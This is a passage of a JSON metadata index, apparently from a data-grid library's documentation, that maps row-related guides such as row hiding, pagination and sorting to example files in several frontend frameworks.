"exampleTitle": "Step 4: Set up copy and paste behavior", - "docPermalink": "/row-hiding", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/row-hiding/javascript/example6.ts", - "file": "guides__rows__row-hiding__javascript__example6.ts.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example6", - "exampleTitle": "Step 4: Set up copy and paste behavior", - "docPermalink": "/row-hiding", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/row-hiding/vue/example6.vue", - "file": "guides__rows__row-hiding__vue__example6.vue.json", - "breadcrumb": [ - "Rows", - "Row hiding" - ], - "guide": "guides/rows/row-hiding/row-hiding.md", - "guideTitle": "Row hiding", - "exampleId": "example6", - "exampleTitle": "Step 4: Set up copy and paste behavior", - "docPermalink": "/row-hiding", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/row-moving/angular/example1.ts", - "file": "guides__rows__row-moving__angular__example1.ts.json", - "breadcrumb": [ - "Rows", - "Row moving" - ], - "guide": "guides/rows/row-moving/row-moving.md", - "guideTitle": "Row moving", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-moving", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/row-moving/javascript/example1.js", - "file": "guides__rows__row-moving__javascript__example1.js.json", - "breadcrumb": [ - "Rows", - "Row moving" - ], - "guide": "guides/rows/row-moving/row-moving.md", - "guideTitle": "Row moving", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-moving", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/row-moving/react/example1.tsx", - "file": "guides__rows__row-moving__react__example1.tsx.json", - "breadcrumb": [ - "Rows", - "Row moving" - ], - "guide": "guides/rows/row-moving/row-moving.md", - "guideTitle": "Row moving", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-moving", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/row-moving/javascript/example1.ts", - "file": "guides__rows__row-moving__javascript__example1.ts.json", - "breadcrumb": [ - "Rows", - "Row moving" - ], - "guide": "guides/rows/row-moving/row-moving.md", - "guideTitle": "Row moving", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-moving", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/row-moving/vue/example1.vue", - "file": "guides__rows__row-moving__vue__example1.vue.json", - "breadcrumb": [ - "Rows", - "Row moving" - ], - "guide": "guides/rows/row-moving/row-moving.md", - "guideTitle": "Row moving", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-moving", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/row-parent-child/angular/example1.ts", - "file": "guides__rows__row-parent-child__angular__example1.ts.json", - "breadcrumb": [ - "Rows", - "Row parent-child" - ], - "guide": "guides/rows/row-parent-child/row-parent-child.md", - "guideTitle": "Row parent-child", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-parent-child", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/row-parent-child/javascript/example1.js", - "file": "guides__rows__row-parent-child__javascript__example1.js.json", - "breadcrumb": [ - "Rows", - "Row parent-child" - ], - "guide": "guides/rows/row-parent-child/row-parent-child.md", - "guideTitle": "Row parent-child", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-parent-child", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/row-parent-child/react/example1.tsx", - "file": "guides__rows__row-parent-child__react__example1.tsx.json", - "breadcrumb": [ - "Rows", - "Row parent-child" - ], - "guide": "guides/rows/row-parent-child/row-parent-child.md", - "guideTitle": "Row parent-child", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-parent-child", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/row-parent-child/javascript/example1.ts", - "file": "guides__rows__row-parent-child__javascript__example1.ts.json", - "breadcrumb": [ - "Rows", - "Row parent-child" - ], - "guide": "guides/rows/row-parent-child/row-parent-child.md", - "guideTitle": "Row parent-child", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-parent-child", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/row-parent-child/vue/example1.vue", - "file": "guides__rows__row-parent-child__vue__example1.vue.json", - "breadcrumb": [ - "Rows", - "Row parent-child" - ], - "guide": "guides/rows/row-parent-child/row-parent-child.md", - "guideTitle": "Row parent-child", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-parent-child", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/row-prepopulating/angular/example1.ts", - "file": "guides__rows__row-prepopulating__angular__example1.ts.json", - "breadcrumb": [ - "Rows", - "Row pre-populating" - ], - "guide": "guides/rows/row-prepopulating/row-prepopulating.md", - "guideTitle": "Row pre-populating", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-prepopulating", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/row-prepopulating/javascript/example1.js", - "file": "guides__rows__row-prepopulating__javascript__example1.js.json", - "breadcrumb": [ - "Rows", - "Row pre-populating" - ], - "guide": "guides/rows/row-prepopulating/row-prepopulating.md", - "guideTitle": "Row pre-populating", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-prepopulating", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/row-prepopulating/react/example1.tsx", - "file": "guides__rows__row-prepopulating__react__example1.tsx.json", - "breadcrumb": [ - "Rows", - "Row pre-populating" - ], - "guide": "guides/rows/row-prepopulating/row-prepopulating.md", - "guideTitle": "Row pre-populating", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-prepopulating", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/row-prepopulating/javascript/example1.ts", - "file": "guides__rows__row-prepopulating__javascript__example1.ts.json", - "breadcrumb": [ - "Rows", - "Row pre-populating" - ], - "guide": "guides/rows/row-prepopulating/row-prepopulating.md", - "guideTitle": "Row pre-populating", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-prepopulating", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/row-prepopulating/vue/example1.vue", - "file": "guides__rows__row-prepopulating__vue__example1.vue.json", - "breadcrumb": [ - "Rows", - "Row pre-populating" - ], - "guide": "guides/rows/row-prepopulating/row-prepopulating.md", - "guideTitle": "Row pre-populating", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-prepopulating", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/row-prepopulating/angular/example2.ts", - "file": "guides__rows__row-prepopulating__angular__example2.ts.json", - "breadcrumb": [ - "Rows", - "Row pre-populating" - ], - "guide": "guides/rows/row-prepopulating/row-prepopulating.md", - "guideTitle": "Row pre-populating", - "exampleId": "example2", - "exampleTitle": "Spare rows with placeholder styling", - "docPermalink": "/row-prepopulating", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/row-prepopulating/javascript/example2.js", - "file": "guides__rows__row-prepopulating__javascript__example2.js.json", - "breadcrumb": [ - "Rows", - "Row pre-populating" - ], - "guide": "guides/rows/row-prepopulating/row-prepopulating.md", - "guideTitle": "Row pre-populating", - "exampleId": "example2", - "exampleTitle": "Spare rows with placeholder styling", - "docPermalink": "/row-prepopulating", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/row-prepopulating/react/example2.tsx", - "file": "guides__rows__row-prepopulating__react__example2.tsx.json", - "breadcrumb": [ - "Rows", - "Row pre-populating" - ], - "guide": "guides/rows/row-prepopulating/row-prepopulating.md", - "guideTitle": "Row pre-populating", - "exampleId": "example2", - "exampleTitle": "Spare rows with placeholder styling", - "docPermalink": "/row-prepopulating", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/row-prepopulating/javascript/example2.ts", - "file": "guides__rows__row-prepopulating__javascript__example2.ts.json", - "breadcrumb": [ - "Rows", - "Row pre-populating" - ], - "guide": "guides/rows/row-prepopulating/row-prepopulating.md", - "guideTitle": "Row pre-populating", - "exampleId": "example2", - "exampleTitle": "Spare rows with placeholder styling", - "docPermalink": "/row-prepopulating", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/row-prepopulating/vue/example2.vue", - "file": "guides__rows__row-prepopulating__vue__example2.vue.json", - "breadcrumb": [ - "Rows", - "Row pre-populating" - ], - "guide": "guides/rows/row-prepopulating/row-prepopulating.md", - "guideTitle": "Row pre-populating", - "exampleId": "example2", - "exampleTitle": "Spare rows with placeholder styling", - "docPermalink": "/row-prepopulating", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/row-prepopulating/angular/example3.ts", - "file": "guides__rows__row-prepopulating__angular__example3.ts.json", - "breadcrumb": [ - "Rows", - "Row pre-populating" - ], - "guide": "guides/rows/row-prepopulating/row-prepopulating.md", - "guideTitle": "Row pre-populating", - "exampleId": "example3", - "exampleTitle": "Auto-populating with template values", - "docPermalink": "/row-prepopulating", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/row-prepopulating/javascript/example3.js", - "file": "guides__rows__row-prepopulating__javascript__example3.js.json", - "breadcrumb": [ - "Rows", - "Row pre-populating" - ], - "guide": "guides/rows/row-prepopulating/row-prepopulating.md", - "guideTitle": "Row pre-populating", - "exampleId": "example3", - "exampleTitle": "Auto-populating with template values", - "docPermalink": "/row-prepopulating", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/row-prepopulating/react/example3.tsx", - "file": "guides__rows__row-prepopulating__react__example3.tsx.json", - "breadcrumb": [ - "Rows", - "Row pre-populating" - ], - "guide": "guides/rows/row-prepopulating/row-prepopulating.md", - "guideTitle": "Row pre-populating", - "exampleId": "example3", - "exampleTitle": "Auto-populating with template values", - "docPermalink": "/row-prepopulating", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/row-prepopulating/javascript/example3.ts", - "file": "guides__rows__row-prepopulating__javascript__example3.ts.json", - "breadcrumb": [ - "Rows", - "Row pre-populating" - ], - "guide": "guides/rows/row-prepopulating/row-prepopulating.md", - "guideTitle": "Row pre-populating", - "exampleId": "example3", - "exampleTitle": "Auto-populating with template values", - "docPermalink": "/row-prepopulating", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/row-prepopulating/vue/example3.vue", - "file": "guides__rows__row-prepopulating__vue__example3.vue.json", - "breadcrumb": [ - "Rows", - "Row pre-populating" - ], - "guide": "guides/rows/row-prepopulating/row-prepopulating.md", - "guideTitle": "Row pre-populating", - "exampleId": "example3", - "exampleTitle": "Auto-populating with template values", - "docPermalink": "/row-prepopulating", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/row-trimming/angular/example1.ts", - "file": "guides__rows__row-trimming__angular__example1.ts.json", - "breadcrumb": [ - "Rows", - "Row trimming" - ], - "guide": "guides/rows/row-trimming/row-trimming.md", - "guideTitle": "Row trimming", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-trimming", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/row-trimming/javascript/example1.js", - "file": "guides__rows__row-trimming__javascript__example1.js.json", - "breadcrumb": [ - "Rows", - "Row trimming" - ], - "guide": "guides/rows/row-trimming/row-trimming.md", - "guideTitle": "Row trimming", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-trimming", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/row-trimming/react/example1.tsx", - "file": "guides__rows__row-trimming__react__example1.tsx.json", - "breadcrumb": [ - "Rows", - "Row trimming" - ], - "guide": "guides/rows/row-trimming/row-trimming.md", - "guideTitle": "Row trimming", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-trimming", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/row-trimming/javascript/example1.ts", - "file": "guides__rows__row-trimming__javascript__example1.ts.json", - "breadcrumb": [ - "Rows", - "Row trimming" - ], - "guide": "guides/rows/row-trimming/row-trimming.md", - "guideTitle": "Row trimming", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-trimming", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/row-trimming/vue/example1.vue", - "file": "guides__rows__row-trimming__vue__example1.vue.json", - "breadcrumb": [ - "Rows", - "Row trimming" - ], - "guide": "guides/rows/row-trimming/row-trimming.md", - "guideTitle": "Row trimming", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-trimming", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/row-virtualization/angular/example1.ts", - "file": "guides__rows__row-virtualization__angular__example1.ts.json", - "breadcrumb": [ - "Rows", - "Row virtualization" - ], - "guide": "guides/rows/row-virtualization/row-virtualization.md", - "guideTitle": "Row virtualization", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-virtualization", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/row-virtualization/javascript/example1.js", - "file": "guides__rows__row-virtualization__javascript__example1.js.json", - "breadcrumb": [ - "Rows", - "Row virtualization" - ], - "guide": "guides/rows/row-virtualization/row-virtualization.md", - "guideTitle": "Row virtualization", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-virtualization", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/row-virtualization/react/example1.tsx", - "file": "guides__rows__row-virtualization__react__example1.tsx.json", - "breadcrumb": [ - "Rows", - "Row virtualization" - ], - "guide": "guides/rows/row-virtualization/row-virtualization.md", - "guideTitle": "Row virtualization", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-virtualization", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/row-virtualization/javascript/example1.ts", - "file": "guides__rows__row-virtualization__javascript__example1.ts.json", - "breadcrumb": [ - "Rows", - "Row virtualization" - ], - "guide": "guides/rows/row-virtualization/row-virtualization.md", - "guideTitle": "Row virtualization", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-virtualization", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/row-virtualization/vue/example1.vue", - "file": "guides__rows__row-virtualization__vue__example1.vue.json", - "breadcrumb": [ - "Rows", - "Row virtualization" - ], - "guide": "guides/rows/row-virtualization/row-virtualization.md", - "guideTitle": "Row virtualization", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/row-virtualization", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/rows-pagination/angular/example1.ts", - "file": "guides__rows__rows-pagination__angular__example1.ts.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/rows-pagination", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/rows-pagination/javascript/example1.js", - "file": "guides__rows__rows-pagination__javascript__example1.js.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/rows-pagination", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/rows-pagination/react/example1.tsx", - "file": "guides__rows__rows-pagination__react__example1.tsx.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/rows-pagination", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/rows-pagination/javascript/example1.ts", - "file": "guides__rows__rows-pagination__javascript__example1.ts.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/rows-pagination", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/rows-pagination/vue/example1.vue", - "file": "guides__rows__rows-pagination__vue__example1.vue.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/rows-pagination", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/rows-pagination/angular/example2.ts", - "file": "guides__rows__rows-pagination__angular__example2.ts.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example2", - "exampleTitle": "Configure pagination", - "docPermalink": "/rows-pagination", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/rows-pagination/javascript/example2.js", - "file": "guides__rows__rows-pagination__javascript__example2.js.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example2", - "exampleTitle": "Configure pagination", - "docPermalink": "/rows-pagination", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/rows-pagination/react/example2.tsx", - "file": "guides__rows__rows-pagination__react__example2.tsx.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example2", - "exampleTitle": "Configure pagination", - "docPermalink": "/rows-pagination", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/rows-pagination/javascript/example2.ts", - "file": "guides__rows__rows-pagination__javascript__example2.ts.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example2", - "exampleTitle": "Configure pagination", - "docPermalink": "/rows-pagination", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/rows-pagination/vue/example2.vue", - "file": "guides__rows__rows-pagination__vue__example2.vue.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example2", - "exampleTitle": "Configure pagination", - "docPermalink": "/rows-pagination", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/rows-pagination/angular/example3.ts", - "file": "guides__rows__rows-pagination__angular__example3.ts.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example3", - "exampleTitle": "Control pagination programmatically", - "docPermalink": "/rows-pagination", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/rows-pagination/javascript/example3.js", - "file": "guides__rows__rows-pagination__javascript__example3.js.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example3", - "exampleTitle": "Control pagination programmatically", - "docPermalink": "/rows-pagination", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/rows-pagination/react/example3.tsx", - "file": "guides__rows__rows-pagination__react__example3.tsx.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example3", - "exampleTitle": "Control pagination programmatically", - "docPermalink": "/rows-pagination", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/rows-pagination/javascript/example3.ts", - "file": "guides__rows__rows-pagination__javascript__example3.ts.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example3", - "exampleTitle": "Control pagination programmatically", - "docPermalink": "/rows-pagination", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/rows-pagination/vue/example3.vue", - "file": "guides__rows__rows-pagination__vue__example3.vue.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example3", - "exampleTitle": "Control pagination programmatically", - "docPermalink": "/rows-pagination", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/rows-pagination/angular/example4.ts", - "file": "guides__rows__rows-pagination__angular__example4.ts.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example4", - "exampleTitle": "Choose where to display the pagination UI", - "docPermalink": "/rows-pagination", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/rows-pagination/javascript/example4.js", - "file": "guides__rows__rows-pagination__javascript__example4.js.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example4", - "exampleTitle": "Choose where to display the pagination UI", - "docPermalink": "/rows-pagination", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/rows-pagination/react/example4.tsx", - "file": "guides__rows__rows-pagination__react__example4.tsx.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example4", - "exampleTitle": "Choose where to display the pagination UI", - "docPermalink": "/rows-pagination", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/rows-pagination/javascript/example4.ts", - "file": "guides__rows__rows-pagination__javascript__example4.ts.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example4", - "exampleTitle": "Choose where to display the pagination UI", - "docPermalink": "/rows-pagination", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/rows-pagination/vue/example4.vue", - "file": "guides__rows__rows-pagination__vue__example4.vue.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example4", - "exampleTitle": "Choose where to display the pagination UI", - "docPermalink": "/rows-pagination", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/rows-pagination/angular/example5.ts", - "file": "guides__rows__rows-pagination__angular__example5.ts.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example5", - "exampleTitle": "Modify paged data", - "docPermalink": "/rows-pagination", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/rows-pagination/javascript/example5.js", - "file": "guides__rows__rows-pagination__javascript__example5.js.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example5", - "exampleTitle": "Modify paged data", - "docPermalink": "/rows-pagination", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/rows-pagination/react/example5.tsx", - "file": "guides__rows__rows-pagination__react__example5.tsx.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example5", - "exampleTitle": "Modify paged data", - "docPermalink": "/rows-pagination", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/rows-pagination/javascript/example5.ts", - "file": "guides__rows__rows-pagination__javascript__example5.ts.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example5", - "exampleTitle": "Modify paged data", - "docPermalink": "/rows-pagination", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/rows-pagination/vue/example5.vue", - "file": "guides__rows__rows-pagination__vue__example5.vue.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example5", - "exampleTitle": "Modify paged data", - "docPermalink": "/rows-pagination", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/rows-pagination/angular/example6.ts", - "file": "guides__rows__rows-pagination__angular__example6.ts.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example6", - "exampleTitle": "Localize pagination", - "docPermalink": "/rows-pagination", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/rows-pagination/javascript/example6.js", - "file": "guides__rows__rows-pagination__javascript__example6.js.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example6", - "exampleTitle": "Localize pagination", - "docPermalink": "/rows-pagination", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/rows/rows-pagination/react/example6.tsx", - "file": "guides__rows__rows-pagination__react__example6.tsx.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example6", - "exampleTitle": "Localize pagination", - "docPermalink": "/rows-pagination", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/rows/rows-pagination/javascript/example6.ts", - "file": "guides__rows__rows-pagination__javascript__example6.ts.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example6", - "exampleTitle": "Localize pagination", - "docPermalink": "/rows-pagination", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/rows/rows-pagination/vue/example6.vue", - "file": "guides__rows__rows-pagination__vue__example6.vue.json", - "breadcrumb": [ - "Rows", - "Rows pagination" - ], - "guide": "guides/rows/rows-pagination/rows-pagination.md", - "guideTitle": "Rows pagination", - "exampleId": "example6", - "exampleTitle": "Localize pagination", - "docPermalink": "/rows-pagination", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/rows/rows-sorting/angular/example10.ts", - "file": "guides__rows__rows-sorting__angular__example10.ts.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "example10", - "exampleTitle": "Sort by multiple columns programmatically (2)", - "docPermalink": "/rows-sorting", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/rows-sorting/angular/example11.ts", - "file": "guides__rows__rows-sorting__angular__example11.ts.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "example11", - "exampleTitle": "Use sorting hooks (2)", - "docPermalink": "/rows-sorting", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/rows-sorting/angular/example1.ts", - "file": "guides__rows__rows-sorting__angular__example1.ts.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/rows-sorting", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/rows-sorting/angular/example2.ts", - "file": "guides__rows__rows-sorting__angular__example2.ts.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "example2", - "exampleTitle": "Enable sorting (2)", - "docPermalink": "/rows-sorting", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/rows-sorting/angular/example3.ts", - "file": "guides__rows__rows-sorting__angular__example3.ts.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "example3", - "exampleTitle": "Sort different types of data (2)", - "docPermalink": "/rows-sorting", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/rows/rows-sorting/angular/example4.ts", - "file": "guides__rows__rows-sorting__angular__example4.ts.json", - "breadcrumb": [ - "Rows", - "Rows sorting" - ], - "guide": "guides/rows/rows-sorting/rows-sorting.md", - "guideTitle": "Rows sorting", - "exampleId": "example4", - "exampleTitle": "Sort by multiple columns (2)", - "docPermalink": 